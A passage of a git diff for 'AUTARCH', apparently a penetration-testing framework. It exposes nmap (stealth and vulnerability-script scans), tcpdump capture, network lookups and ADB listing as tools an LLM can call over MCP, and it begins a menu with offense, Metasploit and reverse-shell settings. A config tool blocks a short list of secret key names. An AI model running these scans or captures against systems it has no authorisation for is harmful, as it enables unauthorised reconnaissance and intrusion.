'required': True}, + } + }) + + return tools + + +def execute_tool(name: str, arguments: dict) -> str: + """Execute an AUTARCH tool and return the result as a string.""" + config = get_config() + + if name == 'nmap_scan': + return _run_nmap(arguments, config) + elif name == 'geoip_lookup': + return _run_geoip(arguments) + elif name == 'dns_lookup': + return _run_dns(arguments) + elif name == 'whois_lookup': + return _run_whois(arguments) + elif name == 'packet_capture': + return _run_tcpdump(arguments) + elif name == 'wireguard_status': + return _run_wg_status(config) + elif name == 'upnp_status': + return _run_upnp_status(config) + elif name == 'system_info': + return _run_system_info() + elif name == 'llm_chat': + return _run_llm_chat(arguments, config) + elif name == 'android_devices': + return _run_adb_devices() + elif name == 'config_get': + return _run_config_get(arguments, config) + else: + return json.dumps({'error': f'Unknown tool: {name}'}) + + +def _run_nmap(args: dict, config) -> str: + nmap = find_tool('nmap') + if not nmap: + return json.dumps({'error': 'nmap not found'}) + + target = args.get('target', '') + if not target: + return json.dumps({'error': 'target is required'}) + + cmd = [str(nmap)] + scan_type = args.get('scan_type', 'quick') + if scan_type == 'stealth': + cmd.extend(['-sS', '-T2']) + elif scan_type == 'full': + cmd.extend(['-sV', '-sC', '-O']) + elif scan_type == 'vuln': + cmd.extend(['-sV', '--script=vuln']) + else: + cmd.extend(['-sV', '-T4']) + + ports = args.get('ports', '') + if ports: + cmd.extend(['-p', ports]) + + cmd.append(target) + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + return json.dumps({ + 'stdout': result.stdout, + 'stderr': result.stderr, + 'exit_code': result.returncode + }) + except subprocess.TimeoutExpired: + return json.dumps({'error': 'Scan timed out after 120 seconds'}) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_geoip(args: dict) -> str: + ip = args.get('ip', '') + if not ip: + return json.dumps({'error': 'ip is required'}) + + try: + import urllib.request + url = f"http://ip-api.com/json/{ip}?fields=status,message,country,regionName,city,zip,lat,lon,timezone,isp,org,as,query" + with urllib.request.urlopen(url, timeout=10) as resp: + return resp.read().decode() + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_dns(args: dict) -> str: + domain = args.get('domain', '') + if not domain: + return json.dumps({'error': 'domain is required'}) + + record_type = args.get('record_type', 'A') + try: + result = subprocess.run( + ['dig', '+short', domain, record_type], + capture_output=True, text=True, timeout=10 + ) + records = [r for r in result.stdout.strip().split('\n') if r] + return json.dumps({'domain': domain, 'type': record_type, 'records': records}) + except FileNotFoundError: + # Fallback to socket for A records + try: + ips = socket.getaddrinfo(domain, None) + records = list(set(addr[4][0] for addr in ips)) + return json.dumps({'domain': domain, 'type': 'A', 'records': records}) + except Exception as e: + return json.dumps({'error': str(e)}) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_whois(args: dict) -> str: + target = args.get('target', '') + if not target: + return json.dumps({'error': 'target is required'}) + + try: + result = subprocess.run( + ['whois', target], + capture_output=True, text=True, timeout=15 + ) + return json.dumps({'target': target, 'output': result.stdout[:4000]}) + except FileNotFoundError: + return json.dumps({'error': 'whois command not found'}) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_tcpdump(args: dict) -> str: + tcpdump = find_tool('tcpdump') + if not tcpdump: + return json.dumps({'error': 'tcpdump not found'}) + + cmd = [str(tcpdump), '-n'] + iface = args.get('interface', '') + if iface: + cmd.extend(['-i', iface]) + + count = args.get('count', 10) + cmd.extend(['-c', str(count)]) + + bpf_filter = args.get('filter', '') + if bpf_filter: + cmd.append(bpf_filter) + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + return json.dumps({ + 'stdout': result.stdout, + 'stderr': result.stderr, + 'exit_code': result.returncode + }) + except subprocess.TimeoutExpired: + return json.dumps({'error': 'Capture timed out'}) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_wg_status(config) -> str: + wg = find_tool('wg') + if not wg: + return json.dumps({'error': 'wg not found'}) + + iface = config.get('wireguard', 'interface', 'wg0') + try: + result = subprocess.run( + [str(wg), 'show', iface], + capture_output=True, text=True, timeout=10 + ) + return json.dumps({ + 'interface': iface, + 'output': result.stdout, + 'active': result.returncode == 0 + }) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_upnp_status(config) -> str: + upnpc = find_tool('upnpc') + if not upnpc: + return json.dumps({'error': 'upnpc not found'}) + + try: + result = subprocess.run( + [str(upnpc), '-l'], + capture_output=True, text=True, timeout=10 + ) + return json.dumps({ + 'output': result.stdout, + 'exit_code': result.returncode + }) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_system_info() -> str: + import platform + + info = { + 'hostname': socket.gethostname(), + 'platform': platform.platform(), + 'python': platform.python_version(), + 'arch': platform.machine(), + } + + try: + info['ip'] = socket.gethostbyname(socket.gethostname()) + except Exception: + info['ip'] = '127.0.0.1' + + try: + with open('/proc/uptime') as f: + uptime_secs = float(f.read().split()[0]) + days = int(uptime_secs // 86400) + hours = int((uptime_secs % 86400) // 3600) + info['uptime'] = f"{days}d {hours}h" + except Exception: + info['uptime'] = 'N/A' + + # Tool availability + tools = {} + for tool in ['nmap', 'tshark', 'tcpdump', 'upnpc', 'wg', 'adb']: + tools[tool] = find_tool(tool) is not None + info['tools'] = tools + + config = get_config() + info['llm_backend'] = config.get('autarch', 'llm_backend', 'local') + + return json.dumps(info) + + +def _run_llm_chat(args: dict, config) -> str: + message = args.get('message', '') + if not message: + return json.dumps({'error': 'message is required'}) + + try: + from core.llm import get_llm, LLMError + llm = get_llm() + if not llm.is_loaded: + llm.load_model() + + system_prompt = args.get('system_prompt', None) + response = llm.chat(message, system_prompt=system_prompt) + return json.dumps({ + 'response': response, + 'model': llm.model_name, + 'backend': config.get('autarch', 'llm_backend', 'local') + }) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_adb_devices() -> str: + adb = find_tool('adb') + if not adb: + return json.dumps({'error': 'adb not found'}) + + try: + result = subprocess.run( + [str(adb), 'devices', '-l'], + capture_output=True, text=True, timeout=10 + ) + lines = result.stdout.strip().split('\n')[1:] # Skip header + devices = [] + for line in lines: + if line.strip(): + parts = line.split() + if len(parts) >= 2: + dev = {'serial': parts[0], 'state': parts[1]} + # Parse extra info + for part in parts[2:]: + if ':' in part: + k, v = part.split(':', 1) + dev[k] = v + devices.append(dev) + return json.dumps({'devices': devices}) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_config_get(args: dict, config) -> str: + section = args.get('section', '') + key = args.get('key', '') + if not section or not key: + return json.dumps({'error': 'section and key are required'}) + + # Block sensitive keys + if key.lower() in ('api_key', 'password', 'secret_key', 'token'): + return json.dumps({'error': 'Cannot read sensitive configuration values'}) + + value = config.get(section, key, fallback='(not set)') + return json.dumps({'section': section, 'key': key, 'value': value}) + + +def create_mcp_server(): + """Create and return the FastMCP server instance.""" + from mcp.server.fastmcp import FastMCP + + mcp = FastMCP("autarch", instructions="AUTARCH security framework tools") + + # Register all tools + tool_defs = get_autarch_tools() + + @mcp.tool() + def nmap_scan(target: str, ports: str = "", scan_type: str = "quick") -> str: + """Run an nmap network scan against a target. Returns scan results including open ports and services.""" + return execute_tool('nmap_scan', {'target': target, 'ports': ports, 'scan_type': scan_type}) + + @mcp.tool() + def geoip_lookup(ip: str) -> str: + """Look up geographic and network information for an IP address.""" + return execute_tool('geoip_lookup', {'ip': ip}) + + @mcp.tool() + def dns_lookup(domain: str, record_type: str = "A") -> str: + """Perform DNS lookups for a domain. Supports A, AAAA, MX, NS, TXT, CNAME, SOA record types.""" + return execute_tool('dns_lookup', {'domain': domain, 'record_type': record_type}) + + @mcp.tool() + def whois_lookup(target: str) -> str: + """Perform WHOIS lookup for a domain or IP address.""" + return execute_tool('whois_lookup', {'target': target}) + + @mcp.tool() + def packet_capture(interface: str = "", count: int = 10, filter: str = "") -> str: + """Capture network packets using tcpdump. Returns captured packet summary.""" + return execute_tool('packet_capture', {'interface': interface, 'count': count, 'filter': filter}) + + @mcp.tool() + def wireguard_status() -> str: + """Get WireGuard VPN tunnel status and peer information.""" + return execute_tool('wireguard_status', {}) + + @mcp.tool() + def upnp_status() -> str: + """Get UPnP port mapping status.""" + return execute_tool('upnp_status', {}) + + @mcp.tool() + def system_info() -> str: + """Get AUTARCH system information: hostname, platform, uptime, tool availability.""" + return execute_tool('system_info', {}) + + @mcp.tool() + def llm_chat(message: str, system_prompt: str = "") -> str: + """Send a message to the currently configured LLM backend and get a response.""" + args = {'message': message} + if system_prompt: + args['system_prompt'] = system_prompt + return execute_tool('llm_chat', args) + + @mcp.tool() + def android_devices() -> str: + """List connected Android devices via ADB.""" + return execute_tool('android_devices', {}) + + @mcp.tool() + def config_get(section: str, key: str) -> str: + """Get an AUTARCH configuration value. Sensitive keys (api_key, password) are blocked.""" + return execute_tool('config_get', {'section': section, 'key': key}) + + return mcp + + +def run_stdio(): + """Run the MCP server in stdio mode (for Claude Desktop / Claude Code).""" + mcp = create_mcp_server() + mcp.run(transport='stdio') + + +def run_sse(host: str = '0.0.0.0', port: int = 8081): + """Run the MCP server in SSE (Server-Sent Events) mode for web clients.""" + mcp = create_mcp_server() + mcp.run(transport='sse', host=host, port=port) + + +def get_mcp_config_snippet() -> str: + """Generate the JSON config snippet for Claude Desktop / Claude Code.""" + app_dir = get_app_dir() + python = sys.executable + + config = { + "mcpServers": { + "autarch": { + "command": python, + "args": [str(app_dir / "core" / "mcp_server.py"), "--stdio"], + "env": {} + } + } + } + return json.dumps(config, indent=2) + + +def get_server_status() -> dict: + """Check if the MCP server is running.""" + global _server_process + if _server_process and _server_process.poll() is None: + return {'running': True, 'pid': _server_process.pid, 'mode': 'sse'} + return {'running': False} + + +def start_sse_server(host: str = '0.0.0.0', port: int = 8081) -> dict: + """Start the MCP SSE server in the background.""" + global _server_process + + status = get_server_status() + if status['running']: + return {'ok': False, 'error': f'Already running (PID {status["pid"]})'} + + python = sys.executable + script = str(Path(__file__).resolve()) + + _server_process = subprocess.Popen( + [python, script, '--sse', '--host', host, '--port', str(port)], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE + ) + + return {'ok': True, 'pid': _server_process.pid, 'host': host, 'port': port} + + +def stop_sse_server() -> dict: + """Stop the MCP SSE server.""" + global _server_process + + status = get_server_status() + if not status['running']: + return {'ok': False, 'error': 'Not running'} + + _server_process.terminate() + try: + _server_process.wait(timeout=5) + except subprocess.TimeoutExpired: + _server_process.kill() + _server_process = None + return {'ok': True} + + +if __name__ == '__main__': + import argparse + parser = argparse.ArgumentParser(description='AUTARCH MCP Server') + parser.add_argument('--stdio', action='store_true', help='Run in stdio mode (for Claude Desktop/Code)') + parser.add_argument('--sse', action='store_true', help='Run in SSE mode (for web clients)') + parser.add_argument('--host', default='0.0.0.0', help='SSE host (default: 0.0.0.0)') + parser.add_argument('--port', type=int, default=8081, help='SSE port (default: 8081)') + args = parser.parse_args() + + if args.sse: + print(f"Starting AUTARCH MCP server (SSE) on {args.host}:{args.port}") + run_sse(host=args.host, port=args.port) + else: + # Default to stdio + run_stdio() diff --git a/core/menu.py b/core/menu.py new file mode 100644 index 0000000..9ed03f7 --- /dev/null +++ b/core/menu.py @@ -0,0 +1,3042 @@ +""" +AUTARCH Main Menu System +Handles the main interface, categories, and module loading +""" + +import os +import sys +import importlib.util +from pathlib import Path +from typing import Dict, List, Optional, Callable + +from .banner import Colors, display_banner, clear_screen +from .config import get_config + + +# Module categories +CATEGORIES = { + "defense": { + "name": "Defense", + "description": "Defensive security tools and monitoring", + "color": Colors.BLUE + }, + "offense": { + "name": "Offense", + "description": "Offensive security and penetration testing", + "color": Colors.RED + }, + "counter": { + "name": "Counter", + "description": "Counter-intelligence and threat response", + "color": Colors.MAGENTA + }, + "analyze": { + "name": "Analyze", + "description": "Analysis and forensics tools", + "color": Colors.CYAN + }, + "osint": { + "name": "OSINT", + "description": "Open source intelligence gathering", + "color": Colors.GREEN + }, + "simulate": { + "name": "Simulate", + "description": "Attack simulation and red team exercises", + "color": Colors.YELLOW + }, + "hardware": { + "name": "Hardware", + "description": "Physical device access and flashing", + "color": Colors.YELLOW + }, + "core": { + "name": "Core", + "description": "Core framework modules", + "color": Colors.WHITE + } +} + + +class ModuleInfo: + """Information about a loaded module.""" + + def __init__(self, name: str, path: Path, module): + self.name = name + self.path = path + self.module = module + self.description = getattr(module, 'DESCRIPTION', 'No description') + self.author = getattr(module, 'AUTHOR', 'Unknown') + self.version = getattr(module, 'VERSION', '1.0') + self.category = getattr(module, 'CATEGORY', 'core').lower() + + +class MainMenu: + """Main menu handler for AUTARCH.""" + + def __init__(self): + from core.paths import get_app_dir + self._app_dir = get_app_dir() + self.config = get_config() + self.modules: Dict[str, ModuleInfo] = {} + self.running = True + + def print_status(self, message: str, status: str = "info"): + """Print a status message.""" + colors = { + "info": Colors.CYAN, + "success": Colors.GREEN, + "warning": Colors.YELLOW, + "error": Colors.RED + } + color = colors.get(status, Colors.WHITE) + symbols = { + "info": "*", + "success": "+", + "warning": "!", + "error": "X" + } + symbol = symbols.get(status, "*") + print(f"{color}[{symbol}] {message}{Colors.RESET}") + + def load_modules(self): + """Load all available modules from the modules directory.""" + modules_path = self._app_dir / self.config.get('autarch', 'modules_path', 'modules') + + if not modules_path.exists(): + self.print_status(f"Modules directory not found: {modules_path}", "warning") + return + + for module_file in modules_path.glob("*.py"): + if module_file.name.startswith("_"): + continue + + module_name = module_file.stem + + # Skip the setup module from regular listing + if module_name == "setup": + continue + + try: + spec = importlib.util.spec_from_file_location(module_name, module_file) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + + # Check if module has required 'run' function + if hasattr(module, 'run'): + self.modules[module_name] = ModuleInfo(module_name, module_file, module) + else: + self.print_status(f"Module '{module_name}' missing run() function", "warning") + + except Exception as e: + self.print_status(f"Failed to load module '{module_name}': {e}", "error") + + def get_modules_by_category(self, category: str) -> Dict[str, ModuleInfo]: + """Get all modules in a specific category.""" + return { + name: info for name, info in self.modules.items() + if info.category == category + } + + def get_status_line(self) -> str: + """Get the status line showing model and MSF status.""" + # Import version from main module + try: + from autarch import VERSION + except ImportError: + VERSION = "?" + parts = [f"v{VERSION}"] + + # Model status - check based on backend + backend = self.config.get('autarch', 'llm_backend', 'local') + if backend == 'transformers': + model_path = self.config.get('transformers', 'model_path', '') + backend_label = "SafeTensors" + elif backend == 'claude': + model_path = self.config.get('claude', 'model', '') + backend_label = "Claude" + elif backend == 'huggingface': + model_path = self.config.get('huggingface', 'model', '') + backend_label = "HF Inference" + else: + model_path = self.config.get('llama', 'model_path', '') + backend_label = "GGUF" + + if model_path: + model_name = os.path.basename(model_path) + parts.append(f"Model: {model_name} ({backend_label})") + else: + parts.append(f"{Colors.YELLOW}Model: Not configured{Colors.RESET}") + + # MSF status + from .msf import get_msf_manager + msf = get_msf_manager() + if msf.is_connected: + parts.append(f"{Colors.GREEN}MSF: Connected{Colors.RESET}") + else: + parts.append(f"{Colors.DIM}MSF: Disconnected{Colors.RESET}") + + # RSF status + try: + from .rsf import get_rsf_manager + rsf = get_rsf_manager() + if rsf.is_available: + parts.append(f"{Colors.GREEN}RSF: Available{Colors.RESET}") + else: + parts.append(f"{Colors.DIM}RSF: Not Found{Colors.RESET}") + except Exception: + parts.append(f"{Colors.DIM}RSF: Not Found{Colors.RESET}") + + return f"{Colors.DIM} | {Colors.RESET}".join(parts) + + def _show_banner(self): + """Display banner unless disabled in settings.""" + if not self.config.get_bool('autarch', 'no_banner', fallback=False): + display_banner() + + def display_menu(self): + """Display the main menu.""" + clear_screen() + self._show_banner() + + # Status line + print(f"{Colors.DIM}{self.get_status_line()}{Colors.RESET}") + print() + + # Main menu options + print(f"{Colors.BOLD}{Colors.WHITE} Main Menu{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Category options + print(f" {Colors.BLUE}[1]{Colors.RESET} Defense {Colors.DIM}- Defensive security tools{Colors.RESET}") + print(f" {Colors.RED}[2]{Colors.RESET} Offense {Colors.DIM}- Penetration testing{Colors.RESET}") + print(f" {Colors.MAGENTA}[3]{Colors.RESET} Counter {Colors.DIM}- Counter-intelligence{Colors.RESET}") + print(f" {Colors.CYAN}[4]{Colors.RESET} Analyze {Colors.DIM}- Analysis & forensics{Colors.RESET}") + print(f" {Colors.GREEN}[5]{Colors.RESET} OSINT {Colors.DIM}- Open source intelligence{Colors.RESET}") + print(f" {Colors.YELLOW}[6]{Colors.RESET} Simulate {Colors.DIM}- Attack simulation{Colors.RESET}") + print() + print(f" {Colors.RED}[7]{Colors.RESET} Agent Hal {Colors.DIM}- AI-powered security automation{Colors.RESET}") + print() + print(f" {Colors.GREEN}[8]{Colors.RESET} Web Service {Colors.DIM}- Start/stop web dashboard{Colors.RESET}") + print(f" {Colors.CYAN}[9]{Colors.RESET} Sideload App {Colors.DIM}- Push Archon to Android device{Colors.RESET}") + print(f" {Colors.YELLOW}[10]{Colors.RESET} MCP Server {Colors.DIM}- Model Context Protocol tools{Colors.RESET}") + print(f" {Colors.WHITE}[11]{Colors.RESET} User Manual {Colors.DIM}- In-depth guide & documentation{Colors.RESET}") + print(f" {Colors.DIM}[12]{Colors.RESET} List Modules {Colors.DIM}- Show all loaded modules{Colors.RESET}") + print() + print(f" {Colors.DIM}[99]{Colors.RESET} Settings") + print(f" {Colors.DIM}[98]{Colors.RESET} Exit") + print() + + def display_category_menu(self, category: str): + """Display the submenu for a category.""" + cat_info = CATEGORIES.get(category, CATEGORIES['core']) + cat_modules = self.get_modules_by_category(category) + + clear_screen() + self._show_banner() + + print(f"{cat_info['color']}{Colors.BOLD} {cat_info['name']}{Colors.RESET}") + print(f"{Colors.DIM} {cat_info['description']}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + if not cat_modules: + print(f" {Colors.YELLOW}No modules in this category.{Colors.RESET}") + print(f" {Colors.DIM}Add modules with CATEGORY = '{category}'{Colors.RESET}") + else: + module_list = list(cat_modules.keys()) + for i, name in enumerate(module_list, 1): + info = cat_modules[name] + print(f" {cat_info['color']}[{i}]{Colors.RESET} {name}") + print(f" {Colors.DIM}{info.description}{Colors.RESET}") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back to main menu") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + return + + if cat_modules: + module_list = list(cat_modules.keys()) + try: + index = int(choice) - 1 + if 0 <= index < len(module_list): + self.run_module(module_list[index]) + except ValueError: + if choice in cat_modules: + self.run_module(choice) + + except (EOFError, KeyboardInterrupt): + print() + + def run_module(self, module_name: str): + """Run a specific module.""" + if module_name not in self.modules: + self.print_status(f"Module '{module_name}' not found", "error") + return + + module_info = self.modules[module_name] + + clear_screen() + self._show_banner() + print(f"{Colors.GREEN}[+] Running module: {module_name}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + try: + module_info.module.run() + except Exception as e: + self.print_status(f"Module error: {e}", "error") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_settings(self): + """Display settings menu.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Settings{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + print(f" {Colors.CYAN}[1]{Colors.RESET} LLM Settings") + print(f" {Colors.CYAN}[2]{Colors.RESET} Metasploit Settings") + print(f" {Colors.CYAN}[3]{Colors.RESET} Database Management") + print(f" {Colors.CYAN}[4]{Colors.RESET} Custom APIs") + print(f" {Colors.CYAN}[5]{Colors.RESET} AUTARCH API") + print(f" {Colors.CYAN}[6]{Colors.RESET} OSINT Settings") + print(f" {Colors.CYAN}[7]{Colors.RESET} RouterSploit Settings") + print(f" {Colors.CYAN}[8]{Colors.RESET} UPnP Settings") + print(f" {Colors.CYAN}[9]{Colors.RESET} Reverse Shell Settings") + print(f" {Colors.CYAN}[10]{Colors.RESET} Display Settings") + print(f" {Colors.CYAN}[11]{Colors.RESET} Load Config File") + print() + print(f" {Colors.DIM}[12]{Colors.RESET} View All Settings") + print(f" {Colors.DIM}[13]{Colors.RESET} Run Setup Wizard") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + self.show_llm_settings() + elif choice == "2": + self.show_msf_settings() + elif choice == "3": + self.show_database_management() + elif choice == "4": + self.show_custom_apis() + elif choice == "5": + self.show_autarch_api() + elif choice == "6": + self.show_osint_settings() + elif choice == "7": + self.show_rsf_settings() + elif choice == "8": + self.show_upnp_settings() + elif choice == "9": + self.show_revshell_settings() + elif choice == "10": + self.show_display_settings() + elif choice == "11": + self.load_config_file() + elif choice == "12": + self.show_all_settings() + elif choice == "13": + self.run_setup() + + except (EOFError, KeyboardInterrupt): + break + + def show_llm_settings(self): + """Display and configure LLM settings.""" + while True: + clear_screen() + self._show_banner() + + backend = self.config.get('autarch', 'llm_backend', 'local') + + print(f"{Colors.BOLD}{Colors.WHITE} LLM Configuration{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Display backend-specific settings + if backend == 'transformers': + settings = self.config.get_transformers_settings() + print(f" {Colors.YELLOW}Backend: transformers (SafeTensors){Colors.RESET}") + print() + model_name = Path(settings['model_path']).name if settings['model_path'] else "(not set)" + print(f" {Colors.CYAN}Model:{Colors.RESET} {model_name}") + print(f" {Colors.CYAN}Device:{Colors.RESET} {settings['device']}") + print(f" {Colors.CYAN}Load in 8-bit:{Colors.RESET} {settings['load_in_8bit']}") + print(f" {Colors.CYAN}Load in 4-bit:{Colors.RESET} {settings['load_in_4bit']}") + print(f" {Colors.CYAN}Temperature:{Colors.RESET} {settings['temperature']}") + print(f" {Colors.CYAN}Top P:{Colors.RESET} {settings['top_p']}") + print(f" {Colors.CYAN}Top K:{Colors.RESET} {settings['top_k']}") + print(f" {Colors.CYAN}Repetition Penalty:{Colors.RESET} {settings['repetition_penalty']}") + print(f" {Colors.CYAN}Max Tokens:{Colors.RESET} {settings['max_tokens']}") + elif backend == 'claude': + settings = self.config.get_claude_settings() + print(f" {Colors.YELLOW}Backend: Claude API{Colors.RESET}") + print() + print(f" {Colors.CYAN}Model:{Colors.RESET} {settings['model']}") + print(f" {Colors.CYAN}API Key:{Colors.RESET} {'***configured***' if settings['api_key'] else '(not set)'}") + print(f" {Colors.CYAN}Max Tokens:{Colors.RESET} {settings['max_tokens']}") + print(f" {Colors.CYAN}Temperature:{Colors.RESET} {settings['temperature']}") + elif backend == 'huggingface': + settings = self.config.get_huggingface_settings() + print(f" {Colors.YELLOW}Backend: HuggingFace Inference API{Colors.RESET}") + print() + print(f" {Colors.CYAN}Model:{Colors.RESET} {settings['model']}") + print(f" {Colors.CYAN}Endpoint:{Colors.RESET} {settings['endpoint'] or '(HuggingFace Hub)'}") + print(f" {Colors.CYAN}API Key:{Colors.RESET} {'***configured***' if settings['api_key'] else '(not set / free tier)'}") + print(f" {Colors.CYAN}Max Tokens:{Colors.RESET} {settings['max_tokens']}") + print(f" {Colors.CYAN}Temperature:{Colors.RESET} {settings['temperature']}") + print(f" {Colors.CYAN}Top P:{Colors.RESET} {settings['top_p']}") + else: # llama.cpp / GGUF + settings = self.config.get_llama_settings() + print(f" {Colors.YELLOW}Backend: llama.cpp (GGUF){Colors.RESET}") + print() + model_name = Path(settings['model_path']).name if settings['model_path'] else "(not set)" + print(f" {Colors.CYAN}Model:{Colors.RESET} {model_name}") + print(f" {Colors.CYAN}Context Size:{Colors.RESET} {settings['n_ctx']} tokens") + print(f" {Colors.CYAN}Threads:{Colors.RESET} {settings['n_threads']}") + print(f" {Colors.CYAN}GPU Layers:{Colors.RESET} {settings['n_gpu_layers']}") + print(f" {Colors.CYAN}Temperature:{Colors.RESET} {settings['temperature']}") + print(f" {Colors.CYAN}Top P:{Colors.RESET} {settings['top_p']}") + print(f" {Colors.CYAN}Top K:{Colors.RESET} {settings['top_k']}") + print(f" {Colors.CYAN}Repeat Penalty:{Colors.RESET} {settings['repeat_penalty']}") + print(f" {Colors.CYAN}Max Tokens:{Colors.RESET} {settings['max_tokens']}") + print() + + # Check if model is loaded + from .llm import get_llm + llm = get_llm() + if llm.is_loaded: + print(f" {Colors.GREEN}Status: Model loaded{Colors.RESET}") + else: + print(f" {Colors.YELLOW}Status: Model not loaded{Colors.RESET}") + print() + + print(f" {Colors.CYAN}[1]{Colors.RESET} Set Model Path") + if backend != 'transformers': + print(f" {Colors.CYAN}[2]{Colors.RESET} Set Context Size") + print(f" {Colors.CYAN}[3]{Colors.RESET} Set Threads") + print(f" {Colors.CYAN}[4]{Colors.RESET} Set GPU Layers") + else: + print(f" {Colors.CYAN}[2]{Colors.RESET} Set Device") + print(f" {Colors.CYAN}[3]{Colors.RESET} Set Quantization") + print(f" {Colors.CYAN}[5]{Colors.RESET} Set Temperature") + print(f" {Colors.CYAN}[6]{Colors.RESET} Set Top P / Top K") + print(f" {Colors.CYAN}[7]{Colors.RESET} Set Repeat Penalty") + print(f" {Colors.CYAN}[8]{Colors.RESET} Set Max Tokens") + print() + print(f" {Colors.CYAN}[L]{Colors.RESET} Load/Reload Model") + print(f" {Colors.CYAN}[U]{Colors.RESET} Unload Model") + print(f" {Colors.CYAN}[S]{Colors.RESET} Switch Backend") + print() + print(f" {Colors.GREEN}[T]{Colors.RESET} Load Hardware Template") + print(f" {Colors.GREEN}[C]{Colors.RESET} Load Custom Config") + print(f" {Colors.GREEN}[W]{Colors.RESET} Save Current as Custom Config") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == "0" or not choice: + break + elif choice == "1": + self._set_llm_model_path() + elif choice == "2": + if backend != 'transformers': + self._set_llm_context_size() + else: + self._set_transformers_device() + elif choice == "3": + if backend != 'transformers': + self._set_llm_threads() + else: + self._set_transformers_quantization() + elif choice == "4" and backend != 'transformers': + self._set_llm_gpu_layers() + elif choice == "5": + self._set_llm_temperature() + elif choice == "6": + self._set_llm_sampling() + elif choice == "7": + self._set_llm_repeat_penalty() + elif choice == "8": + self._set_llm_max_tokens() + elif choice == "l": + self._load_llm_model() + elif choice == "u": + self._unload_llm_model() + elif choice == "s": + self._switch_llm_backend() + elif choice == "t": + self._load_hardware_template() + elif choice == "c": + self._load_custom_config() + elif choice == "w": + self._save_custom_config() + + except (EOFError, KeyboardInterrupt): + break + + def _set_llm_model_path(self): + """Set LLM model path (GGUF file or SafeTensors directory).""" + print() + backend = self.config.get('autarch', 'llm_backend', 'local') + if backend == 'transformers': + current = self.config.get('transformers', 'model_path', '') + else: + current = self.config.get('llama', 'model_path', '') + + if current: + print(f" {Colors.DIM}Current: {current}{Colors.RESET}") + print(f" {Colors.DIM}Enter path to GGUF file, SafeTensors directory, or HuggingFace model ID{Colors.RESET}") + print(f" {Colors.DIM}Examples: /path/to/model.gguf, models/MyModel, org/model-name{Colors.RESET}") + print() + + try: + path = input(f" {Colors.WHITE}Model path: {Colors.RESET}").strip() + if path: + # Strip quotes from path + path = path.strip('"').strip("'") + path = os.path.expanduser(path) + + # Resolve the path - try multiple options + resolved_path = self._resolve_model_path(path) + + if resolved_path: + # Detect model type + from .llm import detect_model_type + model_type = detect_model_type(resolved_path) + + if model_type == 'gguf': + self.config.set('llama', 'model_path', resolved_path) + self.config.set('autarch', 'llm_backend', 'local') + self.config.save() + self.print_status(f"GGUF model set: {Path(resolved_path).name}", "success") + # Reset LLM instance to use new backend + from .llm import reset_llm + reset_llm() + elif model_type == 'transformers': + self.config.set('transformers', 'model_path', resolved_path) + self.config.set('autarch', 'llm_backend', 'transformers') + self.config.save() + self.print_status(f"SafeTensors model set: {Path(resolved_path).name}", "success") + # Reset LLM instance to use new backend + from .llm import reset_llm + reset_llm() + else: + self.print_status("Unrecognized model format. Expected .gguf file or model directory with .safetensors", "error") + elif self._is_huggingface_id(path): + # HuggingFace model ID (e.g., 'org/model-name') + self.config.set('transformers', 'model_path', path) + self.config.set('autarch', 'llm_backend', 'transformers') + self.config.save() + self.print_status(f"HuggingFace model ID set: {path}", "success") + print(f" {Colors.DIM}Model will be loaded from HuggingFace cache{Colors.RESET}") + # Reset LLM instance to use new backend + from .llm import reset_llm + reset_llm() + else: + self.print_status("Path not found. Check the path and try again.", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _is_huggingface_id(self, path: str) -> bool: + """Check if the path looks like a HuggingFace model ID. + + Args: + path: The path/ID to check + + Returns: + True if it looks like a HuggingFace model ID (org/model-name) + """ + if not path: + return False + if path.startswith('/') or path.startswith('\\'): + return False + parts = path.split('/') + if len(parts) == 2 and all(p and not p.startswith('.') for p in parts): + return True + return False + + def _resolve_model_path(self, path: str) -> str: + """Resolve a model path, trying multiple variations. + + Args: + path: User-provided path (may be relative or have variations) + + Returns: + Resolved absolute path if found, None otherwise + """ + framework_dir = self._app_dir + + # List of paths to try + paths_to_try = [ + Path(path), # As-is + Path(path).expanduser(), # Expand ~ + framework_dir / path.lstrip('/'), # Relative to framework dir + framework_dir / path, # Relative without stripping / + ] + + # Handle /dh_framework/... pattern (missing /home/user prefix) + if path.startswith('/dh_framework'): + paths_to_try.append(framework_dir / path[len('/dh_framework/'):]) + if path.startswith('dh_framework'): + paths_to_try.append(framework_dir / path[len('dh_framework/'):]) + + # Also try models/ subdirectory + model_name = Path(path).name + paths_to_try.append(framework_dir / 'models' / model_name) + + for p in paths_to_try: + try: + if p.exists(): + return str(p.resolve()) + except (PermissionError, OSError): + continue + + return None + + def _set_llm_context_size(self): + """Set LLM context 